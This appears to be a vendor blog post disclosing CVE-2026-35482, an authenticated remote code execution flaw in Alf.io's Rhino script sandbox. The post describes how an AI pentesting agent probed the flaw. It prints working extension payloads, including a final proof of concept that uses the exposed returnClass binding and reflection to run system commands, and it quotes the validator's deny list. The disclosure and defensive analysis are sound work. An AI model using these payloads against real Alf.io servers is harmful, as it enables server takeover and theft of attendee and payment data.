TL;DR: CVE-2026-35482 allowed authenticated users to achieve remote code execution on Alf.io servers via a sandbox escape in the extension system. A single exposed Java binding in the Rhino scope made the sandbox bypassable. NoScope discovered and responsibly disclosed it. If you run Alf.io, update to the latest version immediately. The full advisory is available here.
A single line of Java binding code quietly undid an entire sandbox.
Alf.io's extension system validated scripts against a list of known-bad patterns. It blocked java.lang.Runtime. It blocked reflection. It looked hardened. But one binding left in scope, returnClass, was all it took to load arbitrary Java classes and execute commands on the underlying server.
This is CVE-2026-35482. Authenticated RCE via a sandbox escape that passed its own validation clean.
Here's how it was found.
The Target
Alf.io was the target for this engagement. To give a little background on the project, it is:
alf.io is a free and open source event attendance management system, developed for event organizers who care about privacy, security and fair pricing policy for their customers.
In practice it is a self-hosted platform that event organisers rely on to run real events: registration, ticketing, and the attendee and payment data that comes with them. Under the hood it runs on Spring Boot and Java, with a TypeScript front end. Keep that technical context in mind, as it will come in handy later.
How NoScope Found It
NoScope is fire and forget. As soon as Alf.io was connected, it got to work with one short objective: test from the perspective of an end user, an authenticated admin, and an organisation owner. No configuration beyond that.
As it worked through the application, it built a structured understanding of the full surface and prioritised accordingly. The extension system caught its attention early, and that's where this finding came from.
Reconnaissance
NoScope immediately started with initial recon. It is important to note that this was not technical recon: as most security professionals would, it began by simply building an understanding of the web application and the functionality it exposes.
For example, the first commands run were:
curl -sk https://<REDACTED>/ -H "X-NoScope-Agent: true" -o index.html curl -sk -I https://<REDACTED>/ -H "X-NoScope-Agent: true" -o headers.txt
This returned a plethora of information useful for an initial understanding of the web application. NoScope parsed it and recorded the following "key thought" (information resulting from action outputs, which is then fed as context to all future actions):
NoScope: Good. This is Alf.io, an open-source ticket reservation system built on Spring Boot. Let me map the application thoroughly.
Deeper information gathering then kicked off, during which NoScope became aware of the extension system:
[00:00:00] Let me answer each checkpoint question:
1. What do I know so far?
- Target: Alf.io 2.0-M5-2509-1 (open source ticket reservation system)
- Tech stack: Spring Boot, Java, TypeScript, MogoDB(?)
- Auth: Session-based with CSRF tokens (ALFIO_SESSION cookie + XSRF-TOKEN)
- Admin API endpoints: ... /admin/api/extensions ...
...
- Extension system (can execute server-side code?)
The significance of this snippet is the depth of understanding built across the surface in short order: not just a grasp of the application, but a set of initial theoretical attack paths to explore.
Down the Extension Rabbit Hole
NoScope began validating the theoretical attack paths it had identified. The focus for this writeup is the extension system, which NoScope's own prioritisation correctly placed at the top:
[00:00:00] Let me focus on the high-priority tasks myself while the recon subagent finishes.
[00:00:00] I'll do IDOR testing, ... , extension RCE testing.
[00:00:00] Let me prioritize:
1. Check 500 errors for info disclosure (quick win for further attack mapping)
2. Test extension system for RCE (critical)
3. ...
So the loop of trial and error began, until the theoretical attack path could be validated or invalidated. The initial tests focused on surveying the functionality and forming ideas about how it worked at a deeper technical level:
# Test extension endpoints - Alf.io extensions can potentially run JavaScript on the server
=== Extension list ===
curl -sk "${TARGET}/admin/api/extensions"
=== Extension sample ===
curl -sk "${TARGET}/admin/api/extensions/sample/-/test"
At the same time, NoScope was building an understanding of the specific syntax used by extensions:
=== Extension sample ===
...
The script metadata object describes whether or not your extension should be invoked asynchronously, and which events it supports
* @returns {{ async: boolean, events: string[] }} *
...
The extension system uses a JavaScript engine (likely Nashorn or GraalJS) that can execute server-side JavaScript.
The sample extension shows it can make HTTP requests via simpleHttpClient. This is a significant attack surface. The RCE attempt with java.lang.Runtime probably won't work because Nashorn restricts Java class access by default in most configurations.
But there are other ways:
1. Use simpleHttpClient for SSRF
2. Try to access the filesystem via Java interop
...
Notice the initial assumption in the snippet above:
The extension system uses a JavaScript engine (likely Nashorn or GraalJS)
This assumption is incorrect. The technical logic, however, is sound: these engines do not necessarily differ completely in how they operate on a logical level. Keep this in mind, as it becomes relevant shortly.
NoScope then attempted two techniques, both aimed at reaching the Java Runtime from the execution of a client-submitted script:
// Now test RCE via extension - try to access Java runtime // === Update sample extension with RCE payload === function getScriptMetadata() { return { id: "rce-test", displayName: "RCE Test", version: 1, async: false, events: ["INVOICE_GENERATION"] }; } function executeScript(scriptEvent) { var rt = java.lang.Runtime.getRuntime(); var proc = rt.exec("id"); var is = proc.getInputStream(); var reader = new java.io.BufferedReader(new java.io.InputStreamReader(is)); var output = ""; var line; while ((line = reader.readLine()) != null) { output += line; } return { invoiceNumber: output }; }
For anyone familiar with how JavaScript engines expose Java classes at runtime, there is one eyesore in the payload above:
var rt = java.lang.Runtime.getRuntime();
Engines like Mozilla Rhino usually let developers define a scope of operations the engine must work within, restricting the Java classes and functions accessible at runtime. So unless this were RCE as a service, it was very unlikely that calls to java.lang.Runtime would simply be allowed.
As suspected, it was indeed not allowed, and the following error was returned:
Script not valid. One or more of the following components have been detected:
- while() Loop
- with() Statement
- a labeled statement
- Access to java.lang.System
- Access to Object.getClass()
- Java reflection usage
The first technique did not work, so NoScope pivoted to a second, using Java.type instead of java.lang:
// === Try RCE bypass - use Java.type instead of direct java.lang === function getScriptMetadata() { return { id: "rce-bypass", displayName: "RCE Bypass", version: 0, async: false, events: ["INVOICE_GENERATION"] }; } function executeScript(scriptEvent) { var Runtime = Java.type('java.lang.Runtime'); var proc = Runtime.getRuntime().exec('id'); var is = proc.getInputStream(); var sc = new (Java.type('java.util.Scanner'))(is).useDelimiter('\\\\\\\\A'); var output = sc.hasNext() ? sc.next() : ''; return { invoiceNumber: output }; }
This time the extension submitted with no validation errors and executed without error, and NoScope marked it as a validated vulnerability with an 8.1 High CVSS rating. On the surface, the sandbox had been escaped.
From Sandbox Escape to RCE
That result needed confirmation. The writeup's logic was solid and the source supported it: the script validation only checked for specific string patterns and failed to account for the interop function used.
The script validation only checks for specific string patterns but fails to detect the Nashorn/Rhino Java.type() interop function, which provides identical access to Java classes including java.lang.Runtime for command execution.
But the id command output was never actually returned. With the flawed validation logic now known, attention could narrow to a very small part of the codebase. The source showed that the Java identifier was strictly mapped to a single class server-side:
// retrocompatibility scope.put("Java", scope, new JavaClassInterop(Map.of("alfio.model.CustomerName", alfio.model.CustomerName.class), scope));
That explains why Java.type could not reach the Java Runtime to execute system commands; NoScope's second result was, in fact, a false positive. But the same scope definition contained a second binding directly below it:
scope.put("returnClass", scope, clazz);
Here, returnClass is mapped to the clazz variable, which is defined as a function-level parameter of type Class<T>. That binding is enough to use Java reflection to instantiate arbitrary classes, which is the primitive that turns the sandbox escape into genuine command execution.
The Proof of Concept
Updating the proof of concept to use this primitive gives the following extension script, which executes id on the underlying server:
function getScriptMetadata() { return { id: 'rce-validate', displayName: 'RCE Validate', version: 0, async: false, events: ['TICKET_ASSIGNED','INVOICE_GENERATION'] }; } function executeScript(scriptEvent) { var rtClass = returnClass.forName('java.lang.Runtime'); var strClass = returnClass.forName('java.lang.String'); var runtime = rtClass.getMethod('getRuntime').invoke(null); var proc = rtClass.getMethod('exec', strClass).invoke(runtime, 'id'); var bytes = proc.getInputStream().readAllBytes(); var output = ''; for (var i = 0; i < bytes.length; i++) { output += String.fromCharCode(bytes[i] & 0xFF); } console.log(output); return { invoiceNumber: output }; }
In short: because returnClass is mapped to a Class<T>, Java reflection can be invoked directly, calling Class.forName() to load any arbitrary Java class by name. From there it is straightforward to pull in the classes needed to execute a system command. Running the proof of concept produces the following in the extension logs:

The result is authenticated RCE through the abuse of a permissive Rhino sandboxing scope. The full exploit was developed and confirmed by our research team in a controlled environment before disclosure.
Conclusion
This finding is a good illustration of what systematic coverage produces in practice. NoScope did not behave like a scanner that emits a list of CVEs. It:
- Built a deep, structured mental model of the target application
- Correctly prioritised the extension system as a high-risk attack surface
- Developed and iterated through theoretical attack paths with sound technical logic
- Raised a finding with a well-reasoned writeup, precise enough to drive the source-level analysis that completed the exploit
Extension systems and scripting sandboxes are exactly the kind of mature, settled-looking functionality that is easy to assume has already been hardened. A sandbox that looks correct from the outside, and validates against a list of known-bad patterns, can still leave an interop binding exposed that quietly undoes the whole control. Exercising that surface from every angle is how the gap surfaces, and this finding is what that approach produces.
Disclosure Timeline

References
Mozilla Rhino: https://github.com/mozilla/rhino
Alf.io: https://github.com/alfio-event/alf.io?tab=readme-ov-file#alfio
Alf.io Advisory: https://github.com/alfio-event/alf.io/security/advisories/GHSA-3w8f-mcf6-cm7h
Java forName: https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html#forName-java.lang.String-
CVE-2026-35482: https://www.cve.org/CVERecord?id=CVE-2026-35482




